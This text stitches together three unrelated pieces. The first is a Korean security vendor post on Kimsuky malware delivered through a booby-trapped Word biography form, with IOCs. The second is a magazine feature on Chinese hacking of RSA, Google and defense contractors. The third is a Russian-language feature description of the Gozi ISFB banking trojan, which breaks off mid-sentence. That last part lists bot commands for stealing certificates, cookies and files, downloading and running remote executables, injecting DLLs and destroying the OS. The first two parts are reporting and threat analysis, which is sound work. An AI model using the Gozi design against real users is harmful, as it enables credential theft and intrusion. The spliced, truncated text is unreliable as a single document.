# Kimsuky 그룹, 약력 양식 파일로 위장한 악성코드 유포 By Vanish, 2023년 3월 23일 AhnLab Security Emergency response Center(ASEC)에서는 특정 교수를 사칭하여 약력 양식 내용으로 위장한 워드 문서를 이메일을 통해 유포한 것을 확인했다. 확인된 워드 문서의 파일명은 ‘[붙임] 약력 양식.doc’이며 문서에는 암호가 설정되어 있는데 이메일 본문에 비밀번호가 포함되어 있다. 워드 문서 내에 악성 VBA 매크로가 포함되어 있으며 매크로 활성화 시 PowerShell을 통해 C2에 접속하여 추가 스크립트를 다운로드 및 실행한다. 최종적으로 실행되는 악성코드 유형은 뉴스 설문지로 위장하여 유포 중인 악성 워드 문서에서 확인된 유형과 일치하며 브라우저에 저장된 정보를 수집한다. 하지만, FTP를 이용하여 사용자 정보를 유출하는 이전 코드와는 달리 GitHub API를 이용해 특정 Repository로 전송하는 변형 스크립트인 것을 확인했다. 해당 GitHub Repository에는 피해자로부터 수집한 정보로 추정되는 정보들이 업로드되어 있는 상태이다. 또한, 최근 Red Eyes 공격 그룹(also known as APT37, ScarCruft)도 GitHub를 악성코드 유포지로 활용하는 사례도 확인되었다. 이처럼 공격에 사용되는 스크립트가 지속적으로 변하고 있기 때문에 사용자의 각별한 주의가 필요하다. ## 파일 진단 - Downloader/DOC.Generic (2023.02.22.02) - Trojan/PowerShell.FileUpload.S2023 (2023.02.25.00) ## IOC - MD5 - A25ACC6C420A1BB0FDC9456B4834C1B4 - 393CBA61A23BF8159053E352ABDD1A76 - C2 - hxxp://hmcks.realma.r-e[.]kr/gl/ee.txt 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다. **Categories:** 악성코드 정보 **Tagged as:** ASEC, 북한, 김수키, 보안, Github, 킴수키, 피싱, 악성코드, 약력 양식, Kimsuky, phishing
# National Security ## Enter the Cyber-dragon Hackers have attacked America’s defense establishment, as well as companies from Google to Morgan Stanley to security giant RSA, and fingers point to China as the culprit. The author gets an exclusive look at the raging cyber-war—Operation Aurora! Operation Shady Rat!—and learns why Washington has been slow to fight back. Lying there in the junk-mail folder, in the spammy mess of mortgage offers and erectile-dysfunction drug ads, an e-mail from an associate with a subject line that looked legitimate caught the man’s eye. The subject line said “2011 Recruitment Plan.” It was late winter of 2011. The man clicked on the message, downloaded the attached Excel spreadsheet file, and unwittingly set in motion a chain of events allowing hackers to raid the computer networks of his employer, RSA. RSA is the security division of the high-tech company EMC. Its products protect computer networks at the White House, the Central Intelligence Agency, the National Security Agency, the Pentagon, the Department of Homeland Security, most top defense contractors, and a majority of Fortune 500 corporations. The parent company disclosed the breach on March 17 in a filing with the Securities and Exchange Commission. The hack gravely undermined the reputation of RSA’s popular SecurID security service. As spring gave way to summer, bloggers and computer-security experts found evidence that the attack on RSA had come from China. They also linked the RSA attack to the penetration of computer networks at some of RSA’s most powerful defense-contractor clients—among them, Lockheed Martin, Northrop Grumman, and L-3 Communications. Few details of these episodes have been made public. The RSA and defense-contractor hacks are among the latest battles in a decade-long spy war. Hackers from many countries have been exfiltrating—that is, stealing—intellectual property from American corporations and the U.S. government on a massive scale, and Chinese hackers are among the main culprits. Because virtual attacks can be routed through computer servers anywhere in the world, it is almost impossible to attribute any hack with total certainty. Dozens of nations have highly developed industrial cyber-espionage programs, including American allies such as France and Israel. And because the People’s Republic of China is such a massive entity, it is impossible to know how much Chinese hacking is done on explicit orders from the government. In some cases, the evidence suggests that government and military groups are executing the attacks themselves. In others, Chinese authorities are merely turning a blind eye to illegal activities that are good for China’s economy and bad for America’s. Last year Google became the first major company to blow the whistle on Chinese hacking when it admitted to a penetration known as Operation Aurora, which also hit Intel, Morgan Stanley, and several dozen other corporations. Earlier this year, details concerning the most sweeping intrusion since Operation Aurora were discovered by the cyber-security firm McAfee. Dubbed “Operation Shady Rat,” the attacks are being reported here for the first time. Most companies have preferred not to talk about or even acknowledge violations of their computer systems, for fear of panicking shareholders and exposing themselves to lawsuits—or for fear of offending the Chinese and jeopardizing their share of that country’s exploding markets. The U.S. government, for its part, has been fecklessly circumspect in calling out the Chinese. A scattered alliance of government insiders and cyber-security experts are working to bring attention to the threat, but because of the topic’s extreme sensitivity, much of their consciousness-raising activity must be covert. The result in at least one case, according to documents obtained by Vanity Fair, has been a surreal new creation of American bureaucracy: government-directed “hacktivism,” in which an intelligence agency secretly provides information to a group of private-sector hackers so that truths too sensitive for the government to tell will nevertheless come out. This unusual project began in March, when National Security Agency officials asked a private defense contractor to organize a cadre of elite non-government experts to study the RSA cyber-attacks. The experts constituted a SEAL Team Six of cyber-security and referred to their work as Operation Starlight. “This is the N.S.A. outsourcing the finger-pointing to the private sector,” says one person who was invited to join the group and has been privy to its e-mail logs. The N.S.A. provided Operation Starlight with the data it needed for its forensic analysis. Operation Starlight’s secret “Working Draft Version 0.2” report, dated April 4, 2011, has a cover page that bears a galactic image resembling a meteor-pockmarked moon. The source who provided Vanity Fair with the document emphasized that the draft is just that—a draft—and said that Starlight’s provisional conclusions are subject to change. As of April, however, the draft report argued that the RSA hacks represent an “organized, concerted campaign on behalf of China.” It also suggested that RSA had been under attack, perhaps by different groups, for months prior to the attack that the company acknowledged in March. In July, in the lengthiest interview RSA officials have given since their troubles began, executive chairman Art Coviello and EMC chief security officer Dave Martin resisted those suggestions. Coviello admitted that the SecurID hack was preceded in March by “pretty heavy-duty reconnaissance.” He refused to say specifically when the attack began or ended, but described the duration as “a matter of days, not weeks.” He agreed that the evidence suggested that the SecurID attack had come from a nation-state, but declined to accuse a specific country. ## “The Adversary” If you were designing a new jetfighter for Lockheed Martin, sooner or later you would have to travel to an air-force base to talk to military personnel about what they want the new jetfighter to do. Meetings over, you’d go back to your hotel room, fire up your laptop, and log on to Lockheed’s remote network to get some work done. In order to log on, you’d have to glance down at an inch-long red-white-blue-and-gray plastic key-chain fob, shaped vaguely like a key, on which a little L.E.D. screen displays strings of six to eight digits that change every minute or so. Adding those numbers to the basic password that you’d memorized, you would type the whole hybrid string of characters into the Lockheed-network log-in box—and then you would be in. That key fob, called a SecurID token, is RSA’s best-known product. The strings of numbers on its screen are generated by a microchip using the SecurID algorithm and a unique cryptographic seed. Each numeric string is called a “one-time password,” and, when entered in combination with your own chosen password, it bumps up your network’s security by means of “two-factor authentication.” As of March 2011, RSA commanded 70 percent of the market for this form of security. More than 25 million of these tokens are in circulation, and for years they have been used by most U.S. intelligence and military officers, defense contractors, White House officials, and Fortune 500 executives. So it was of great concern to many of the world’s most powerful people when, on the same day the company alerted the S.E.C., executive chairman Coviello posted an open letter to customers on RSA’s Web site, announcing that the company’s security system had identified “an extremely sophisticated cyber attack in progress,” an attack that “resulted in certain information being exported from RSA’s systems,” some of which was “specifically related to RSA’s SecurID two-factor authentication products.” The letter was so vague and judiciously bland that many readers assumed what the later Lockheed hack seemed to suggest: that SecurID’s seed-key algorithm and some, if not all, of its seed-key database may have been stolen. RSA executives have consistently refused to say precisely what the company lost. Coviello did say in an interview that “the information taken, in and of itself, would not allow a direct attack.” An attacker, he went on, “would have had to get other information that only the customer had in their possession.” To weaponize the stolen SecurID information would require a strategy of coordinated intrusions, involving attacks not just on RSA but also preliminary attacks on every other target company—something that seemed so complicated as to be almost impossible. Yet within two months, the impossible had come to pass. Attackers, whom security experts often refer to in the satanic singular as “the Adversary,” had broken into Lockheed Martin’s network using SecurID information stolen from RSA. On April 1, the RSA Web site published a blog posting titled “Anatomy of an Attack” by the company’s head of new technologies, Uri Rivner. Chatty and anecdotal, it described the “2011 Recruitment Plan” e-mail, one of two e-mails sent to low-level employees. The post said nothing about when the attack began, how long it lasted, or what was taken, but some of Rivner’s language seems intended to suggest that the intrusion was short-lived: “Since RSA detected this attack in progress, it is likely the attacker had to move very quickly to accomplish anything.” Rivner wrote that the RSA hackers used a Flash zero-day vulnerability—that is, a flaw in the code that is unknown to the program’s developers and has not been used in prior attacks—to install an extremely common downloader called Poison Ivy. But he gave no details about the malware that Poison Ivy downloaded into RSA’s system. Rivner characterized the attackers’ technique as a form of “Advanced Persistent Threat,” or A.P.T.—security lingo for “Pretty sure it came from China,” in the words of Brian Krebs, a leading cyber-security blogger. According to Operation Starlight’s draft report, some of the malware that was used to attack RSA was “compiled,” or written, in December of 2010—a full three months before the SecurID hack. “APT attack groups typically launch their attacks within hours of compilation, providing a useful date indicator for the targeted intrusion,” the draft says. The draft acknowledges that “these compile dates are easily modified,” but it goes on: “The earliest compile date [of malware used in the RSA hack] that has not been materially modified is 12/22/2010, potentially providing at least three months of persistent access into RSA operations.” One prominent cyber-security analyst with firsthand knowledge of the RSA intrusions confirms that RSA appeared to be under attack by other A.P.T. groups prior to the SecurID hack. These groups “were not going after seed values,” the analyst says, though “we don’t know whether they were doing advanced reconnaissance” for the later attacks. In addition, RSA was being hit by “drive-by malware,” meant to harvest run-of-the-mill kinds of data. Coviello, for his part, says “we have no evidence” of intrusions beginning earlier than March. The SecurID hack, whenever it began and however long it lasted, was a sophisticated intrusion. Though RSA has not said how the Adversary managed to stay undetected inside its network, previous examples of stealth techniques used by A.P.T. attackers illustrate how resourceful they can be. Jonathan Pollet, the head of Red Tiger Security, based in Houston, Texas, was hired in 2010 by three Fortune 100 companies to clean up after a spate of cyber attacks that came from servers in China. Pollet says the victims knew that something strange was going on because they kept getting locked out of their e-mail accounts for no apparent reason. But the Adversary stayed under the radar by making an ingeniously malevolent move: taking control of the companies’ virtual I.T. help desks, impersonating their I.T. help-desk staff, and answering employees’ service complaints themselves. “Attackers want to be a parasite, want to make sure the host is happy,” says Pollet. “So if they know the help desk is going to get overwhelmed with complaints, they decide, ‘Let’s just solve these problems ourselves.’” ## Body Count China’s aggressive campaign of cyber-espionage began about a decade ago, with attacks on U.S. government agencies. Then China broadened the scope of its efforts, infiltrating the civilian sector in order to steal intellectual property and gain competitive advantage over Western companies. Dmitri Alperovitch, vice president of threat research at McAfee, who gave Aurora and Night Dragon their names and has written definitive studies of A.P.T. attacks, says that “today we see pretty much any company that has valuable intellectual property or trade secrets of any kind being pilfered continually, all day long, every day, relentlessly.” Some of China’s intellectual-property thefts are like virtual cat burglaries; others are inside jobs; and many combine elements of both. Dongfan “Greg” Chung, a former Boeing and Rockwell engineer, was convicted in 2009 of acting as an agent of the P.R.C. in stealing secrets related to the Space Shuttle program and the Delta IV rocket. In March of this year, a man named Sixing “Steve” Liu, a Chinese engineer who worked for a division of L-3 Communications, was arrested on charges of illegally exporting military data to China. A former Google executive told me, “The party is very aggressive in enforcing loyalty among Chinese employees of American companies. This creates a dilemma of divided loyalties. Google’s response was to take the risk and plow ahead. Google did not hire private investigators. There may have been a cost for that.” Early news coverage of Operation Aurora, against Google, indicated that some Google China employees had been denied access to internal networks and others had been put on leave or reassigned in the wake of the attacks. According to a Google spokesperson, the company “ran some tests … internally to ensure that the network was safe and secure and we gave Googlers in China a holiday on the Tuesday we made the announcement.” The vulnerability of corporations to attack stems in part from ignorance, in part from denial. Google executives reportedly believed that the American government monitors this country’s Internet infrastructure the same way it monitors foreign military threats to keep the geographic homeland secure. A former White House official told me, “After Google got hacked, they called the N.S.A. in and said, ‘You were supposed to protect us from this!’ The N.S.A. guys just about fell out of their chairs. They could not believe how naïve the Google guys had been.” In response to detailed questions regarding Operation Aurora and the company’s response to it, Google declined to comment. Martin Libicki, a Rand Corporation analyst and the author of *Cyberdeterrence and Cyberwar*, says that the 2007 hack of Defense Secretary Robert Gates’s computer finally made some in Washington take the cyber-espionage problem seriously. The Pentagon has admitted that in June of that year it had to shut down part of the computer system in Gates’s office after the attack, which senior U.S. officials attributed to the People’s Liberation Army. “It got personal at that point,” Libicki says. Other Western nations started talking publicly about the problem at around the same time. In August of that same year, German chancellor Angela Merkel reportedly confronted Chinese premier Wen Jiabao after hackers from his country gained access to the computers in her office, as well as those in the German foreign, economic, and research ministries. In December, M.I.5 sent a letter to 300 British C.E.O.’s and security chiefs warning them that state-sponsored Chinese organizations may have been spying on their computer systems. Public awareness of cyber-espionage was dramatically heightened in January 2010 when Google started talking about Operation Aurora. Operation Aurora gathered source code, the virtual equivalent of Coca-Cola’s secret formula, from a broad array of U.S. corporations. Because source code is so valuable, and because the manner of its theft was so innovative, many experts were puzzled by the way that Google announced the attacks, emphasizing Aurora’s secondary goal (reconnaissance of “human-rights activists” in China) rather than its primary one (stealing Google’s virtual DNA). Access to source code makes it relatively easy to discover new vulnerabilities in a Web application. For malware writers, these vulnerabilities are the keys to the kingdom, the open windows in the house that let them get inside to steal the furniture—or, depending on their goals, to move the furniture around, by altering the code and therefore potentially changing the functions of the company’s product. It was eventually revealed that intruders had made off with source code for a Google password-management program called Gaia. The company’s losses are widely rumored to have been much greater, however. New information from security experts who were personally briefed by Google’s security chief, Heather Adkins, while Operation Aurora unfolded, offers a far more comprehensive picture of the attack than Google publicly told. Three people who visited Google’s Mountain View, California, headquarters while the attacks were in progress describe dramatic scenes of a company under siege. Google “built a physically separate area for the security team,” one of them says. Sergey Brin, one of the company’s co-founders, was deeply involved in the cyber-defense. “He moved his desk to go sit with the Aurora responders every day. Because he grew up in the Soviet Union, he personally has a real hard-on for the Chinese now. He is pissed.” Caught unawares and shorthanded, the company made a list of the world’s top security professionals, and Brin personally called to offer them jobs—with $100,000 signing bonuses for some, according to one person who received such an offer—and quickly built Google’s small, pre-Aurora security operation into a group of more than 200. Meanwhile, representatives of other companies hit by Aurora were invited to the Googleplex for private meetings with Adkins. She told two of the visitors that the attackers had made a beeline for Google’s “legal-discovery portals,” the system the company uses to evaluate requests for information from law-enforcement agencies and foreign governments. “The activity on those portals is closely monitored,” one visitor says. “Someone noticed that a bunch of Chinese names were queried on one woman’s computer [in the legal-discovery department] and asked her, ‘Why did you query all these people?’ She said, ‘I didn’t.’” Security took her laptop to analyze it, and “that was the string they started pulling” that unraveled the Aurora attack. Much more significant, however—and previously unreported—is that the intruders used Google’s internal search engine to look for words related to the company’s signing certificates: virtual credentials that verify the identity of the source of any software before it can be downloaded to a computer. This part of the attack was foiled because Google keeps its signing certificates offline, in an “air-gapped” network—a network that is not connected to the Internet. The search for signing certificates is a disturbing new piece of information about Operation Aurora’s intentions. It also suggests a link to the SecurID theft. In both Operation Aurora and the RSA hack, not only did the attackers seek to steal proprietary information, they sought to steal the digital identities that would allow them to impersonate the companies. Google’s initial announcement of Operation Aurora stated that “at least twenty other large companies from a wide range of businesses—including the Internet, finance, technology, media and chemical sectors”—had been affected, and early news reports named Yahoo and Symantec as among the other victims. As the year wore on, the body count grew: Adobe, Juniper Networks, and Rackspace admitted that they’d been attacked, then Intel. Before long a cache of e-mails written by analysts at the security firm HBGary and its sister company HBGary Federal were made public, after the companies were caught in the crosshairs of the hacktivist group Anonymous, a loose coalition of individuals who perform coordinated cyber-attacks, sometimes with the stated goal of advancing Internet freedom. The e-mails revealed that Aurora or similar attacks had also hit Baker Hughes, ExxonMobil, Royal Dutch Shell, BP, Conoco Phillips, Marathon Oil, Lockheed, Northrop Grumman, Symantec, Juniper, Disney, Sony, Johnson & Johnson, General Electric, General Dynamics, the law firm King & Spalding, and DuPont. DuPont was hit so intensely that, one HBGary analyst wrote, “their hair is on fire.” Not only did the HBGary e-mails provide new details about Aurora, they also described similar attacks that had been going on for much longer than the public knew. “Many of the leading defense contractors … all had … aurora-type attacks as far back as 2005,” one analyst wrote. “So a search engine makes a big media stink about one intrusion, and that leads to a bunch of hype? I think the discussion needs to be on why it’s taken 5+ years for the rest of the industry to catch on.” ## Pointing Fingers From the start, Google openly asserted its view that the attack originated in China, and Hillary Clinton, after being “briefed by Google on these allegations,” issued a statement that pointedly said, “We look to the Chinese government for an explanation.” A report by Verisign iDefense, a security-intelligence service based in Dulles, Virginia, went further, stating that Aurora was directed by “agents of the Chinese state or proxies thereof.” The Chinese government made no official, public response to Clinton’s statement. But shortly thereafter, a spokesman for China’s Ministry of Industry and Information Technology told Xinhua, the official news agency, about the allegations regarding Google, that the “accusation that the Chinese government participated in [any] cyber attack, either in an explicit or inexplicit way, is groundless and aims to denigrate China.” Yet, in the case of Aurora, there is evidence of involvement. After researchers found similarities between the tools used in the Aurora attacks and malware tools that were posted on open Chinese hacker forums, many analysts speculated that Beijing had employed civilian hackers as proxies to launch the attacks. A leading security-intelligence analyst says he received several dozen tips from sources in China suggesting that, “in point of fact, it was the P.R.C. government taking or demanding access to some of the research that the hackers had been doing, and then using it themselves.” The analyst goes on: “The Chinese government has employed this same tactic in numerous intrusions. Because their internal police and military have such a respected or feared voice among the hacking community, they can make use of the hackers’ research with their knowledge and still keep the hackers tight-lipped about it. The hackers know that if they step out of line they will find themselves quickly in a very unpleasant prison in western China, turning large rocks into smaller rocks.” In an undated cable made public by WikiLeaks, one American diplomat in Beijing reported to Washington that Aurora was an act of revenge ordered by a Chinese politburo member who had Googled himself and found a raft of unflattering articles. The SecurID hack used the same basic technique as Operation Aurora and many other recent intrusions, though it made use of different specific tools. The technique, called “spear-phishing,” begins with reconnaissance to find personal information about a company’s employees. The Adversary may troll social-networking sites, including Facebook and Twitter, or may research e-mail archives exfiltrated in previous attacks to diagram its victims’ social situations. Then the Adversary writes e-mails or sends instant messages individually tailored to the recipients and sends them, with malicious attachments, from identities that the victim is likely to trust. If the recipient clicks on the attachment, the malware, called a remote-access tool, or “rat,” hooks itself into the user’s Windows operating system inside the company’s firewall. The rat is manually operated by the Adversary—an actual person, sitting at a computer, waiting to take over the victim’s machine. “The initial machine is just a beachhead,” explains McAfee’s Dmitri Alperovitch. “From that point, the Adversary will move into document repositories, e-mail archive servers, proceed to take the data and ship it out of the company through another mechanism, typically by setting up a second, command-and-control server that they will exfiltrate data to. From the moment you’ve clicked on the malware, there is another individual on the other end adapting to your network eco-system, your security system, and trying various things until they succeed in getting what they want. It’s like a Predator drone in Pakistan that’s being controlled by a joystick in Nevada.” Some of the types of tools that the RSA hackers used—the rat, the command-and-control-server infrastructure, and the remote domains—had previously been employed in a persistent series of attacks on the Department of Defense and other U.S.-government systems. These attacks were originally code-named Titan Rain. After Titan Rain was made public, it was re-christened with the code name Byzantine Hades, and after that name, too, was made public, Byzantine Hades was re-dubbed with at least three more new classified code names, according to a former N.S.A. analyst. Some top intrusion specialists attribute this series of attacks to a group in China called the Red Hacker Alliance, which has suspected ties to the People’s Liberation Army. The particular malware and command-and-control servers used in the SecurID hack, however, were unique, and had not been used in previous attacks. ## Act of War? On May 21, the computer systems of America’s largest military contractor, Lockheed Martin, detected an intruder. A week later, Lockheed acknowledged the breach in a statement. The company called the attack “significant and tenacious” but also said that it had been detected “almost immediately,” at which point the company took “aggressive” actions to stop it. “Our systems remain secure; no customer, program or employee personal data has been compromised,” the statement said—leaving open the questions of how an intrusion could be both “tenacious” and detected “almost immediately,” and how it could be “significant” without compromising any data. The event was noteworthy enough that President Obama was briefed on the situation. An unnamed Lockheed executive told *The New York Times* investigators “cannot rule out” a connection to the RSA breach. RSA said that it was “premature to speculate” on the cause of the attack. On May 31, news broke that L-3 Communications, which provides intelligence, surveillance, and reconnaissance technology to the U.S. government, had also been attacked, according to an e-mail to L-3 employees dated April 6. The e-mail said that L-3 had been “actively targeted with penetration attacks leveraging the compromised information” from the RSA breach. When asked whether intruders had gained the ability to clone SecurID key fobs, an RSA spokeswoman said, “That’s not something we had commented on and probably never will.” The next day, June 1, *Fox News* reported that Northrop Grumman had cut off remote access to its network without warning, resetting domain names and passwords, and causing “chaos” across the company, according to an unnamed Northrop executive. The company’s official response to Fox’s questions on the matter was, verbatim, the same as its response to my questions about previous reported hacks, going back several years: “We do not comment on whether or not Northrop Grumman is or has been a target for cyber intrusions.” That same day, Google made its first allegation of Chinese hacking since Operation Aurora, announcing that it had thwarted an attempt from China to steal the Gmail passwords of senior U.S. government officials. The next week, on June 7, RSA’s Art Coviello gave a mea culpa interview to *The Wall Street Journal*, admitting that the entire SecurID system was compromised, offering to replace practically all of the millions of tokens on the market—and infuriating many of its customers, some of whom were reported to be sundering their relationship with RSA and hiring new security companies. Coviello says that he made the replacement offer because, “post-Lockheed, customers had a lower tolerance for risk,” and he says that “less than 10 percent of our customers have requested replacement tokens.” This onslaught of revelations was all the more extraordinary because American industry has so few incentives to come clean about its losses, and so many incentives to cover them up. Was it a coincidence that, only hours before Northrop’s and Google’s alleged hacks became public, the Pentagon provided an element of its forthcoming cyber-war strategy to *The Wall Street Journal*, declaring that the U.S. will consider some cyber-attacks to be the equivalent of physical acts of war? Like so many Rip Van Winkles, most of Washington has been asleep while cyber-attacks proliferated. But a few voices have been trying to wake the town up. One belongs to Scott Borg, director and chief economist of the U.S. Cyber-Consequences Unit, whose research indicates that China, to sustain economic growth, “is relying increasingly on large-scale information theft. This means that cyber attacks are now a basic part of China’s national development strategy.” Another voice is that of James A. Lewis, a former diplomat who now leads the Technology and Public Policy Program at the Center for Strategic and International Studies. He says, “The thing we have to work through is, how do we want to work with the Chinese on this issue? This administration has decided they want to cooperate, not have a confrontation.” A senior State Department official elaborates: “One of the core things we’re trying to do diplomatically is to build a consensus internationally to build norms of behavior, rules of the road,” as described in the president’s “International Strategy for Cyberspace.” (The norms include “Upholding Fundamental Freedoms,” “Respect for Property,” and “Right of Self-Defense.”) James A. Lewis goes on: “This is what we did on missile proliferation. Our allies showed up and we all said, ‘Here are the norms.’ But how do we get a flow of countries to show up and say, ‘You’re crossing a line. Back off, or there will be consequences’? What is the cost to the Chinese right now? Until there is some cost, they’re not going to stop.” Another White House document, the “Comprehensive National CyberSecurity Initiative,” as well as several bills in Congress, propose ways of protecting critical infrastructure, such as electrical grids, from cyber-intrusions. China has so thoroughly probed and mapped our power system that former director of national intelligence Dennis Blair once publicly admitted that “a number of nations, including Russia and China, can disrupt elements of the U.S. information infrastructure.” Still others are trying to address the economic impact of cyber-espionage. On May 11, Senator Jay Rockefeller and several of his colleagues sent a letter to Mary Schapiro, chair of the U.S. Securities and Exchange Commission, asking the S.E.C. to issue interpretive guidance for companies about disclosing material risk due to cyber-breaches. The morning Rockefeller sent his letter, Tom Kellermann, a former cyber-security specialist at the World Bank, told me that the S.E.C. would force companies to make significant disclosures. “The dragon lady’s gonna rain down fire,” he said. The dragon lady has her work cut out for her. One industrial-control-systems security specialist recalls a conversation with a chief financial officer and a chief information officer of a major corporation after finding 65 vulnerabilities in the company’s networks, which would have required a huge investment to fix. “What’s the worst that can happen if we don’t fix any of these?” the C.F.O. asked. “We have large exposure,” answered the C.I.O. “We could potentially be attacked—” “No, no, no. What is the financial impact if we don’t do any of these?” “We’re not regulated or audited, so there won’t be any fines.” The C.F.O. answered, “You get no budget,” and the topic was closed. The persistent culture of secrecy surrounding all things cyber compounds the difficulty of taking practical steps against Chinese hacking. Much, perhaps most, information about cyber-conflict of all types is classified, which creates tremendous practical problems of communication. Sometimes, when the F.B.I. learns of an intrusion through classified channels, the Bureau has to find other, unclassified evidence of the intrusion in order to be able to tell the victim what is happening. “If it’s a defense contractor being hacked, then the victim company includes people with clearances, so communication is easy. But if you’re talking about a company where no one has clearances, that presents a significant problem”—and can create a significant time delay between the discovery of a hack and the victim’s awareness of exposure, according to one cyber-security analyst. ## Playing the Fool Yet the deeper I delved into the Chinese hacking problem, the more I discovered a network of individuals in government and the private sector who are serving as a semi-official Resistance in this secret war. A handful of influential congressional staffers who shape Hill debate on these matters put me in touch with top intrusion specialists who are former hackers, military personnel, or National Security Agency officials. These analysts are the civilian, cyber-equivalent of special-ops forces. When my phone rang very late one night this spring, I was surprised to see the name of one of these analysts on the screen. In the mood to talk, he spent most of an hour describing his work to me, naming names and counting losses with shocking precision, though forbidding me to repeat the details of his disclosures. In this conversation—the first of several that took place over the following months—the man said that he had started his career protecting government networks against foreign attacks. On that job, he became so preoccupied with the scale of Chinese hacking that a senior military officer told him to stop talking about it, with the gruff explanation that “the reason this is still going on is that the Chinese government now owns us.” Frustrated, the analyst eventually left government service for the private sector. The problem may be reaching a boil that will take significant willpower to ignore. In mid-July, the security firm McAfee shared exclusively with Vanity Fair the results of its latest cyber-espionage investigation. McAfee reports that, over a period of five years, a single Adversary penetrated more than 70 organizations, from giant multi-national corporations to tiny nonprofits, representing more than 30 industries around the world, and exfiltrated intellectual property—including e-mail archives, legal contracts, negotiation plans for business activities, design schematics, and government secrets—as soon as its spear-phishing victims clicked on a link to a Web page. One country’s Olympic committee was compromised for a full 28 months; many other organizations were compromised for two whole years. McAfee has given the name Operation Shady Rat to this set of intrusions. Dmitri Alperovitch, who discovered Operation Shady Rat, draws a stark lesson: “There are only two types of companies—those that know they’ve been compromised, and those that don’t know. If you have anything that may be valuable to a competitor, you will be targeted, and almost certainly compromised.” The full list of Operation Shady Rat’s victims includes government agencies and corporations worldwide. The vast majority of victims—more than two-thirds of the total—are in the U.S. Among the other countries targeted are Taiwan, South Korea, Japan, Hong Kong, Singapore, India, Germany, and the U.K. In 2007, the year before the Beijing Olympics, one international athletics organization and the Olympic committees of three different countries were breached by this intruder. Alperovitch believes the targeting of the Olympic committees and of American political nonprofits suggests the intrusions were state-sponsored, explaining, “There’s no economic gain to compromising them.” When asked if the People’s Republic of China was conceivably behind Shady Rat—given that China was not itself attacked—Alperovitch noted that McAfee’s policy was not to comment on attribution. He added, “If others want to draw that conclusion, I certainly wouldn’t discourage them.” Another security researcher who was on the front lines during Operation Aurora says, “Those of us who are hands-on-keyboard want this story to be told, because we feel like the top corporate managers—following the advice of their lawyers—are reflexively keeping breach information secret from other companies that are trying to defend themselves. In the big picture, a little bit of short-term embarrassment is worth it, to get the American people to understand that there’s a low-level Cold War going on.” Despite—and also because of—the extreme secrecy surrounding industrial cyber-espionage, this phenomenon is gradually effecting a fundamental re-arrangement of the relationship between state and corporate power. Michael Hayden was the director of the N.S.A. and then the C.I.A. during the period when the problem of Chinese cyber-espionage developed. In a conversation with him about Operation Aurora, I asked what he believed to be the most significant fact about those intrusions. He answered, “You see Google acting in some ways as nation-states used to act, exercising to the best of their ability some attributes traditionally associated with sovereign states. ‘We’re going to break relationship’—cease doing business there, you know. It’s something I dwell on a lot. The cyberworld is so new that the old structures, you know—state, non-state, public, private—they all break down … The last time we had such a powerful discontinuity is probably the European discovery of the Western Hemisphere. At that point, we had some big, multi-national corporations—East India Company and Hudson’s Bay—that acted as states. And I see elements of that with the big Microsofts and Googles of the world. Because of their size, they actually are making decisions that have the impact of the kinds of decisions made in the halls of government. Google is not a state. But what constitutes Google’s inherent right of self-defense in this new environment against this kind of attack? I’m not accusing anyone of doing anything wrong. These situations are just so different. What do we believe would be legitimate for Google to do in response to this? Now, I don’t have answers. I really don’t know, but it’s a really good question.” Operation Starlight has an old-fashioned answer to that question: Find the culprits and put them to shame. Its draft report declares: “The attacker’s name, telephone number records, and other pertinent information should be divulged to the public in order to support attacker attribution and assist in tracking back to the source.” But no one believes that this tactic by itself will solve the problem—or that corporations will embrace their long-term best interest anytime soon. Rather, so long as executives and politicians are guided by short-term self-interest, they will continue to play the fool to the country that would be king. “You need to consider: What are the subconscious assumptions that companies bring to the issue of foreign cyber-attacks on their networks?” a senior Senate staffer who works on cyber-issues asked me. “They assume that if something bad happens government will take care of the losses. They act like they don’t really believe that a bank could get completely taken out, or that a tech giant could get its whole lunch eaten, because it sounds as fictional as 9/11 would have sounded before it happened. But terrorism is not the best analogy here. Who could have imagined that people would have flown airplanes into buildings? The difference with cyber is there are people trying to fly planes into buildings every day now. And everybody just looks the other way.”
# Gozi ISFB ISFB - программа-бот предназначенная для анализа и модификации HTTP траффика на компьютере клиента. Поддерживает все 32х и 64х битные Windows, начиная с Windows XP. Поддерживает все 32х и 64х битные версии Internet Explorer, начиная с 6.0. Поддерживает все 32х и 64х битные версии Mozilla Firefox. Поддерживает все 32х битные версии Google Chrome. Программа способна устанавливаться и работать без привелегий администратора. Обрабатывает весь HTTP траффик браузера, в том числе и шифрованый HTTPS. Бот управляется с удаленного сервера, с помощью файлов конфигурации и команд. Файлы конфигурации и команд подписываются посредством RSA. При получении файлов, бот проверяет цифровую подпись, и, в случае несоответствия подписи, файл игнорируется. При первом запуске бот инициирует таймер. В дальнейшем, по таймеру, бот обращается на управляющий сервер за файлами. Поддерживается 2 способа поиска управляющего сервера: - перебор заданного списка доменных имен и выбор активного; - генерация динамического списка доменных имен в зависимости от текущей даты и конфигурации системы. Анализ траффика производится на основе специально сформированного файла конфигурации, который бот получает с сервера. Такой файл может содержать следующие инструкции: - подмена HTML страницы целиком - замена фрагмента HTML страницы - скопировать фрагмент страницы и отправить на сервер - найти файл по маске и отправить на сервер - сделать скриншот экрана и отправить на сервер Кроме файла конфигурации бот получает с сервера команды: - **GET_CERTS** - экспортировать и выслать сертификаты, установленные в системном хранилище Windows. Для XP выгружает, также, неэкспортируемые сертификаты. - **GET_COOKIES** - собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры каталогов и выслать на сервер. - **CLR_COOKIES** - удалить cookie FF и IE, SOL-файлы Flash. - **GET_SYSINFO** - собрать системную информацию: тип процессора, версию ОС, список процессов, список драйверов, список установленных программ. - **KILL** - убить ОС (работает только с правами администратора). - **REBOOT** - перезагрузить ОС. - **GROUP=n** - сменить ID группы бота на n. - **LOAD_EXE=URL** - загрузить файл с указанного URL и запустить его. - **LOAD_REG_EXE=URL** - загрузить файл с указанного URL, зарегистрировать его в autirun и запустить. - **LOAD_UPDATE=URL** - загрузить апдейт программы и запустить. - **GET_LOG** - отправить внутренний лог на сервер. - **GET_FILES=*** - найти все файлы, соответствующие заданной маске, и отправить на сервер. - **SLEEP=n** - остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях). - **SEND_ALL** - отправить все данные из очереди на отправку немедленно. В противном случае, данные отправляются по таймеру. - **LOAD_DLL=URL[,URL]** - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe. Первый URL для 32х-битной 